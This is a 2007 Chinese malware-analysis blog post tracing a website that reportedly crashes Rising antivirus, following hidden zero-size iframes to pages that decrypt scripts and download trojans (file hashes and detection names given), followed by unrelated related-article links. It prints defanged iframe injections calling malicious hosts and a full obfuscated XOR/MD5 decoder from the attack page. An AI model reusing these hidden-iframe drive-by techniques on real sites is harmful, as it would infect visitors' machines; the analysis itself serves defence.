一个据说可以让瑞星ravmond.exe崩溃的网站

endurer 原创
2007-08-16 第1版

一位呢称为 raulronaldo 说有一个网站，多刷新两次，然后设置瑞星不显示病毒提示对话框，
瑞星会报ravmond错误的。

检查发现该网站包含代码：
/---
＜iframe src=hxxp://www.i**qy**l.com width=0 height=0＞＜/iframe＞
＜iframe src=hxxp://www.8*5*173*3.cn/htm*/goldip.htm?027 width=0 height=0＞＜/iframe＞
---/

hxxp://www.i**qy**l.com 包含代码：
/---
＜iframe src="hxxp://www.8*68***88*68.com/s5.htm" width="0" height="0" frameborder="0"＞＜/iframe＞
---/

hxxp://www.8*68***88*68.com/s5.htm 包含代码：
/---
＜BODY style='CURSOR: url(hxxp://www.8*68***88*68.com/ad.jpg)'＞＜/BODY＞
＜iframe width='0' height='0' src='hxxp://www.8*68***88*68.com/0614.htm'＞＜/iframe＞
＜iframe width='0' height='0' src='kill.htm'＞＜/iframe＞
---/

hxxp://www.8*68***88*68.com/ad.jpg 下载 hxxp://www.1**9*80**07.com/0.exe

文件说明符 : D:/test/0.exe
属性 : A---
获取文件版本信息大小失败!
创建时间 : 2007-8-16 9:34:37
修改时间 : 2007-8-16 13:6:54
访问时间 : 2007-8-16 13:50:37
大小 : 16944 字节 16.560 KB
MD5 : 4bc14481314f1c817983ec8a93298e41

Kaspersky 报为 Trojan-PSW.Win32.Delf.wh

hxxp://www.8*68***88*68.com/0614.htm 包含JavaScript和VBScript脚本代码，功能是使用自定义函数：
/---
function mymid（ss）｛
return ss．substring（2）;｝
---/
对变量 S 解密并 EXECUTE，目的是下载 0.exe，通过创建并执行 0.vbs 来运行　0.exe。

hxxp://www.8*68***88*68.com/kill.htm 未能打开。

hxxp://www.8*5*173*3.cn/htm*/goldip.htm?027 包含代码：
/---
＜body style="CURSOR: url(wm/xjz2007.bmp)"＞＜/body＞
＜iframe width='100' height='100' src='Webxl.htm'＞＜/iframe＞
＜iframe width='100' height='100' src='wm/wm1.htm'＞＜/iframe＞
＜iframe width='100' height='100' src='wm/wm2.htm'＞＜/iframe＞
＜iframe width='100' height='100' src='wm/vip.htm'＞＜/iframe＞
＜iframe width='100' height='100' src='wm/wm3.htm'＞＜/iframe＞
---/

wm/xjz2007.bmp 下载 down.exe

文件说明符 : D:/test/down.exe
属性 : A---
获取文件版本信息大小失败!
创建时间 : 2007-8-16 13:4:10
修改时间 : 2007-8-16 13:4:12
访问时间 : 2007-8-16 0:0:0
大小 : 18271 字节 17.863 KB
MD5 : 2c8e3c8bd15b8d50ede05e5bac6311bc

Kaspersky 报为Trojan.Win32.Agent.avt，瑞星报为 Worm.Win32.Agent.ipj

hxxp://www.8*5*173*3.cn/htm*/wm/Webxl.htm 未能打开。

hxxp://www.8*5*173*3.cn/htm*/wm/wm1.htm 包含JavaScript脚本代码，功能是使用自定义函数：
/---
function Hi（pk，Hua）｛
var uso＝Hua．length;
var fou＝"";
for（var i＝0;i＜pk．length;i＋＋）｛
fou＋＝String．fromCharCode（pk．charCodeAt（i）^Hua．charCodeAt（i％uso））;
｝
return（fou）;
｝
var STR ＝
｛
hexcase : 0，／＊ hex output format． 0 － lowercase; 1 － uppercase ＊／
b64pad : ""，／＊ base－64 pad character． "＝" for strict RFC compliance ＊／
chrsz : 8，／＊ bits per input character． 8 － ASCII; 16 － Unicode ＊／

b64_hmac_md5:
function（he， data）｛ return binl2b64（core_hmac_md5（he， data））; ｝，

b64_md5:
function（s）｛ return binl2b64（core_md5（Tian（s）， s．length ＊ this．chrsz））;｝，

binl2b64:
function（fan）｛
var tab ＝ "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789＋／";
var str ＝ "";
for（var i ＝ 0; i ＜ fan．length ＊ 4; i ＋＝ 3）
｛
var triplet ＝（（（fan［i ＞＞ 2］＞＞ 8 ＊（ i ％4））＆ 0xFF）＜＜ 16）
｜（（（fan［i＋1 ＞＞ 2］＞＞ 8 ＊（（i＋1）％4））＆ 0xFF）＜＜ 8 ）
｜（（fan［i＋2 ＞＞ 2］＞＞ 8 ＊（（i＋2）％4））＆ 0xFF）;
for（var j ＝ 0; j ＜ 4; j＋＋）
｛
if（i ＊ 8 ＋ j ＊ 6 ＞ fan．length ＊ 32） str ＋＝ this．b64pad;
else str ＋＝ tab．charAt（（triplet ＞＞ 6＊（3－j））＆ 0x3F）;
｝
｝
return str;
｝，

Jiu:
function（fan）｛
var hex_tab ＝ this．hexcase ? "0123456789ABCDEF" : "0123456789abcdef";
var str ＝ "";
for（var i ＝ 0; i ＜ fan．length ＊ 4; i＋＋）
｛
str ＋＝ hex_tab．charAt（（fan［i＞＞2］＞＞（（i％4）＊8＋4））＆ 0xF）＋
hex_tab．charAt（（fan［i＞＞2］＞＞（（i％4）＊8 ））＆ 0xF）;
｝
return str;
｝，

Chang:
function（yong）｛
var str ＝ "";
var heng ＝（1 ＜＜ this．chrsz）－ 1;
for（var i ＝ 0; i ＜ yong．length ＊ 32; i ＋＝ this．chrsz）
str ＋＝ String．fromCharCode（（yong［i＞＞5］＞＞＞（i ％ 32））＆ heng）;
return str;
｝，

bit_rol:
function（num， cnt）｛return （num ＜＜ cnt）｜（num ＞＞＞（32 － cnt））;｝，

core_hmac_md5:
function（he， data）｛
var she ＝ Tian（he）;
if（she．length ＞ 16） she ＝ core_md5（she， he．length ＊ this．chrsz）;

var ipad ＝ Array（16）， opad ＝ Array（16）;
for（var i ＝ 0; i ＜ 16; i＋＋）
｛
ipad［i］＝ she［i］ ^ 0x36363636;
opad［i］＝ she［i］ ^ 0x5C5C5C5C;
｝

var hash ＝ core_md5（ipad．concat（Tian（data））， 512 ＋ data．length ＊ this．chrsz）;
return core_md5（opad．concat（hash）， 512 ＋ 128）;
｝，

core_md5:
function（x， len）｛
／＊ append padding ＊／
x［len ＞＞ 5］｜＝ 0x80 ＜＜（（len）％ 32）;
x［（（（len ＋ 64）＞＞＞ 9）＜＜ 4）＋ 14］＝ len;

var a ＝ 1732584193;
var b ＝－271733879;
var c ＝－1732584194;
var d ＝ 271733878;

for（var i ＝ 0; i ＜ x．length; i ＋＝ 16）
｛
var olda ＝ a;
var oldb ＝ b;
var oldc ＝ c;
var oldd ＝ d;

a ＝ this．md5_ff（a， b， c， d， x［i＋ 0］， 7 ，－680876936）;
d ＝ this．md5_ff(d， a， b， c， x［i＋ 1］， 12，－389564586);
c ＝ this．md5_ff(c， d， a， b， x［i＋ 2］， 17， 606105819);
b ＝ this．md5_ff(b， c， d， a， x［i＋ 3］， 22，－1044525330);
a ＝ this．md5_ff(a， b， c， d， x［i＋ 4］， 7 ，－176418897);
d ＝ this．md5_ff(d， a， b， c， x［i＋ 5］， 12， 1200080426);
c ＝ this．md5_ff(c， d， a， b， x［i＋ 6］， 17，－1473231341);
b ＝ this．md5_ff(b， c， d， a， x［i＋ 7］， 22，－45705983);
a ＝ this．md5_ff(a， b， c， d， x［i＋ 8］, 7 , 1770035416);
d ＝ this．md5_ff(d, a, b, c, x［i＋ 9］, 12, －1958414417);
c ＝ this．md5_ff(c, d, a, b, x［i＋10］, 17, －42063);
b ＝ this．md5_ff(b, c, d, a, x［i＋11］, 22, －1990404162);
a ＝ this．md5_ff(a, b, c, d, x［i＋12］, 7 , 1804603682);
d ＝ this．md5_ff(d, a, b, c, x［i＋13］, 12, －40341101);
c ＝ this．md5_ff(c, d, a, b, x［i＋14］, 17, －1502002290);
b ＝ this．md5_ff(b, c, d, a, x［i＋15］, 22, 1236535329);

a ＝ this．md5_gg(a, b, c, d, x［i＋ 1］, 5 , －165796510);
d ＝ this．md5_gg(d, a, b, c, x［i＋ 6］, 9 , －1069501632);
c ＝ this．md5_gg(c, d, a, b, x［i＋11］, 14, 643717713);
b ＝ this．md5_gg(b, c, d, a, x［i＋ 0］, 20, －373897302);
a ＝ this．md5_gg(a, b, c, d, x［i＋ 5］, 5 , －701558691);
d ＝ this．md5_gg(d, a, b, c, x［i＋10］, 9 , 38016083);
c ＝ this．md5_gg(c, d, a, b, x［i＋15］, 14, －660478335);
b ＝ this．md5_gg(b, c, d, a, x［i＋ 4］, 20, －405537848);
a ＝ this．md5_gg(a, b, c, d, x［i＋ 9］, 5 , 568446438);
d ＝ this．md5_gg(d, a, b, c, x［i＋14］, 9 , －1019803690);
c ＝ this．md5_gg(c, d, a, b, x［i＋ 3］, 14, －187363961);
b ＝ this．md5_gg(b, c, d, a, x［i＋ 8］, 20, 1163531501);
a ＝ this．md5_gg(a, b, c, d, x［i＋13］, 5 , －1444681467);
d ＝ this．md5_gg(d, a, b, c, x［i＋ 2］, 9 , －51403784);
c = this．md5_gg(c, d, a, b, x［i＋ 7］, 14, 1735328473);
b = this．md5_gg(b, c, d, a, x［i＋12］, 20, －1926607734);

a = this．md5_hh(a, b, c, d, x［i＋ 5］, 4 , －378558);
d = this．md5_hh(d, a, b, c, x［i＋ 8］, 11, －2022574463);
c = this．md5_hh(c, d, a, b, x［i＋11］, 16, 1839030562);
b = this．md5_hh(b, c, d, a, x［i＋14］, 23, －35309556);
a = this．md5_hh(a, b, c, d, x［i＋ 1］, 4 , －1530992060);
d = this．md5_hh(d, a, b, c, x［i＋ 4］, 11, 1272893353);
c = this．md5_hh(c, d, a, b, x［i＋ 7］, 16, －155497632);
b = this．md5_hh(b, c, d, a, x［i＋10］, 23, －1094730640);
a = this．md5_hh(a, b, c, d, x［i＋13］, 4 , 681279174);
d = this．md5_hh(d, a, b, c, x［i＋ 0］, 11, －358537222);
c = this．md5_hh(c, d, a, b, x［i＋ 3］, 16, －722521979);
b = this.md5_hh(b, c, d, a, x［i＋ 6］, 23, 76029189);
a = this.md5_hh(a, b, c, d, x［i＋ 9］, 4 , －640364487);
d = this.md5_hh(d, a, b, c, x［i+12］, 11, －421815835);
c = this.md5_hh(c, d, a, b, x［i+15］, 16, 530742520);
b = this.md5_hh(b, c, d, a, x［i+ 2］, 23, －995338651);

a = this.md5_ii(a, b, c, d, x［i+ 0］, 6 , －198630844);
d = this.md5_ii(d, a, b, c, x［i+ 7］, 10, 1126891415);
c = this.md5_ii(c, d, a, b, x［i+14］, 15, －1416354905);
b = this.md5_ii(b, c, d, a, x［i+ 5］, 21, －57434055);
a = this.md5_ii(a, b, c, d, x［i+12］, 6 , 1700485571);
d = this.md5_ii(d, a, b, c, x［i+ 3］, 10, －1894986606);
c = this.md5_ii(c, d, a, b, x［i+10］, 15, －1051523);
b = this.md5_ii(b, c, d, a, x［i+ 1］, 21, －2054922799);
a = this.md5_ii(a, b, c, d, x［i+ 8］, 6 , 1873313359);
d = this.md5_ii(d, a, b, c, x［i+15］, 10, －30611744);
c = this.md5_ii(c, d, a, b, x［i+ 6］, 15, －1560198380);
b = this.md5_ii(b, c, d, a, x［i+13］, 21, 1309151649);
a = this.md5_ii(a, b, c, d, x［i+ 4］, 6 , －145523070);
d = this.md5_ii(d, a, b, c, x[i+11], 10, －1120210379);
c = this.md5_ii(c, d, a, b, x[i+ 2], 15, 718787259);
b = this.md5_ii(b, c, d, a, x[i+ 9], 21, －343485551);

a = this.safe_add(a, olda);
b = this.safe_add(b, oldb);
c = this.safe_add(c, oldc);
d = this.safe_add(d, oldd);
｝
return Array(a, b, c, d);
｝,

hex_hmac_md5:function(he, data)｛ return this.Jiu(this.core_hmac_md5(he, data)); ｝,

hex_md5:function(s)｛return this.Jiu(this.core_md5(this.Tian(s), s.length ＊ this.chrsz));｝,

md5:function(s)｛return(this.hex_md5(s));｝,

md5_cmn:function(q, a, b, x, s, t)｛return this.safe_add(this.bit_rol(this.safe_add(this.safe_add(a, q), this.safe_add(x, t)), s),b);｝,

md5_ff:function(a, b, c, d, x, s, t)｛return this.md5_cmn((b ＆ c) ｜ ((～b) ＆ d), a, b, x, s, t);｝,

md5_gg:function(a, b, c, d, x, s, t)｛return this.md5_cmn((b ＆ d) ｜ (c ＆ (～d)), a, b, x, s, t);｝,

md5_hh:function(a, b, c, d, x, s, t)｛return this.md5_cmn(b ^ c ^ d, a, b, x, s, t);｝,

md5_ii:function(a, b, c, d, x, s, t)｛return this.md5_cmn(c ^ (b ｜ (～d)), a, b, x, s, t);｝,

md5_vm_test:function()｛return hex_md5("abc") == "900150983cd24fb0d6963f7d28e17f72";｝,

safe_add:
function(x, y)｛
var ai = (x ＆ 0xFFFF) + (y ＆ 0xFFFF);
var qing = (x ＞＞ 16) + (y ＞＞ 16) + (ai ＞＞ 16);
return (qing ＜＜ 16) ｜ (ai ＆ 0xFFFF);
｝,

Tian:
function(str)｛
var yong = Array();
var heng = (1 ＜＜ this.chrsz) － 1;
for(var i = 0; i ＜ str.length ＊ this.chrsz; i += this.chrsz)
yong[i＞＞5] ｜= (str.charCodeAt(i ／ this.chrsz) ＆ heng) ＜＜ (i％32);
return yong;
｝,

str_hmac_md5:function(he, data)｛ return Chang(core_hmac_md5(he, data)); ｝,

str_md5:function(s)｛ return Chang(core_md5(Tian(s), s.length ＊ this.chrsz));｝
｝
---/
解密并输出变量 loveVip 的值。

loveVip 的值解密后为脚本代码，功能是执行Exploit()，利用漏洞下载 hxxp://www.8*5*173*3.cn/htm*/vip.exe，保存为microsofts.exe，通过创建并执行 microsofts.vbs 来运行 microsofts.exe。

vip.exe 与 down.exe 相同。

hxxp://www.8*5*173*3.cn/htm*/wm/wm2.htm 包含代码：
/---
＜script src=000614.js＞＜/script＞
---/

000614.js 内容为利用eval()执行自定义函数。

经过2次解密后得到的源代码功能为下载 down.exe，保存为 sys332.exe，再利用 cmd.exe /c 来运行。

hxxp://www.8*5*173*3.cn/htm*/wm/top.htm 未能打开

hxxp://www.8*5*173*3.cn/htm*/wm/wm3.htm 功能是打开about:blank，检测cookie变量woshi07004，不存在则创建并执行漏洞溢出代码。

hxxp://www.8*5*173*3.cn/htm*/wm/vip.htm 与 hxxp://www.8*5*173*3.cn/htm*/wm/wm1.htm 相似。

一个据说可以让瑞星ravmond.exe崩溃的网站相关推荐

Explorer.exe崩溃后自动重启任务栏托盘区图标丢失
相信很多Windows用户都碰到过这种情况:运行某个程序时出现意外错误,导致外壳程序Explorer.exe崩溃而发生重启(即Explorer.exe被关闭后重新运行),任务栏也在消失后重新生成,但应 ...
使用Python设计一个自动查询文件夹的exe文件
使用Python设计一个自动查询文件夹的exe文件文章目录使用Python设计一个自动查询文件夹的exe文件前言一.消灭噩梦(~~摸鱼~~ )的开始二.~~摸鱼~~ 效果升级--添加拷贝功能 ...
写一个生成口算题的exe程序
好的,为了写一个生成口算题的 exe 程序,你需要以下步骤: 选择一种编程语言,比如 C++.Java.Python 等. 根据你选择的编程语言,了解相应的编程知识,包括变量.循环.分支.函数等. 设 ...
一个通过Flash设计与Flex结合开发的网站www.mapgle.cn
一个通过Flash设计与Flex结合开发的网站 http://www.mapgle.cn/ 另:可用手机的GPRS访问http://m.mapgle.cn/来进行上海轨道交通情况查询. 1.Flash ...
初学jsp课，一个基于jsp+javabean+servlet+sql server小型房源网站，实现了用户表，房源表，及留言板的增删查改。使用deamwear编译器
1 设计目的 <Web应用开发课程设计>是实践性教学环节之一,是<Web程序设计>课程的辅助教学课程.通过课程设计,使学生掌握Web网站的基本概念,结合实际的操作和设计,巩固课 ...
收藏一个好用的免费在线生成描字帖网站
最近发现一个免费并且强大的描字帖在线生成网站,笔顺字帖.汉字字帖.拼音字帖.数字字帖.英文字帖.空格子字都可以免费生成:大小.颜色.字体.格子类型(田字格.米字格.口字格)都可以随心定制:字帖内容随心 ...
Harmonizome数据库 – 一个集合多种pathway（or other）的网站
Harmonizome数据库 – 一个集合多种pathway(or other)的网站 1. Harmonizome数据库包含多种常用的数据信息,如基因.蛋白质等等.其网址为/ https://maa ...
一个能根据哼唱录音查找歌曲信息的网站
这是一个能根据哼唱录音查找歌曲信息的网站. 网址: www.midomi.com/ 只需电脑有麦克风,然后网站有功能帮助你录制并上传哼唱歌曲的录音片段. 网站根据这个录音查找歌曲的相关信息.
推荐一个权威性价比最高的知网查重网站：https://www.cnki.cn，还可领现金优惠券哦
推荐一个权威性价比最高的知网查重网站:https://www.cnki.cn,还可领现金优惠券哦
如何制作一个低成本投入，多功能营销的企业网站
随着时代的发展,互联网事业越来越被人们所重视,一是现在是互联网+时代,二是互联网创业或是投资门槛相对较低,这导致很多人纷纷踏上互联网道路,这不仅是顺应时势,也是明智的抉择.而如今,各行各业都在潜移默化 ...

一个据说可以让瑞星ravmond.exe崩溃的网站

一个据说可以让瑞星ravmond.exe崩溃的网站相关推荐

最新文章

热门文章